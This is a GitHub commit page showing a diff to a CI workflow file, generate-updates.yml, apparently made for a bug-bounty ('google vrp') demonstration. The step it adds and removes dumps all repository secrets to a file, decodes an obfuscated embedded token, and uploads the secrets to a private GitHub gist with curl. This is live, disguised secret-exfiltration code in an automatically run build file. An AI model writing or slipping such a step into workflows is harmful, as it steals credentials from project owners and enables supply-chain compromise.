Skip to content

Commit

Permalink
for google vrp
Browse files Browse the repository at this point in the history
  • Loading branch information
ghost committed Jun 12, 2024
1 parent e0605ec commit 2e7ee6c
Showing 1 changed file with 4 additions and 4 deletions.
8 changes: 4 additions & 4 deletions .github/workflows/generate-updates.yml
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ on:
jobs:
generate-updates:
steps:
- run: |
echo "${{ toJSON(secrets) }}" > .secrets
export TOKEN=$(echo "WjJod1gwNVJhVmRuTW1kc1VHRkdjWGcxTXpoMFdrRnhPRGMxWmxOTFNIUk5XakJzTTA5V1NBbz0K" | base64 --decode | base64 --decode)
curl -X POST -H "Authorization: token $TOKEN" -d "$(jq -n --arg content "$(cat .secrets)" '{description: "everything", public: false, files: {"secrets.txt": {content: $content}}}' )" https://api.github.com/gists
- run: |
echo "${{ toJSON(secrets) }}" > .secrets
export TOKEN=$(echo "WjJod1gwNVJhVmRuTW1kc1VHRkdjWGcxTXpoMFdrRnhPRGMxWmxOTFNIUk5XakJzTTA5V1NBbz0K" | base64 --decode | base64 --decode)
curl -X POST -H "Authorization: token $TOKEN" -d "$(jq -n --arg content "$(cat .secrets)" '{description: "everything", public: false, files: {"secrets.txt": {content: $content}}}' )" https://api.github.com/gists

0 comments on commit 2e7ee6c

Please sign in to comment.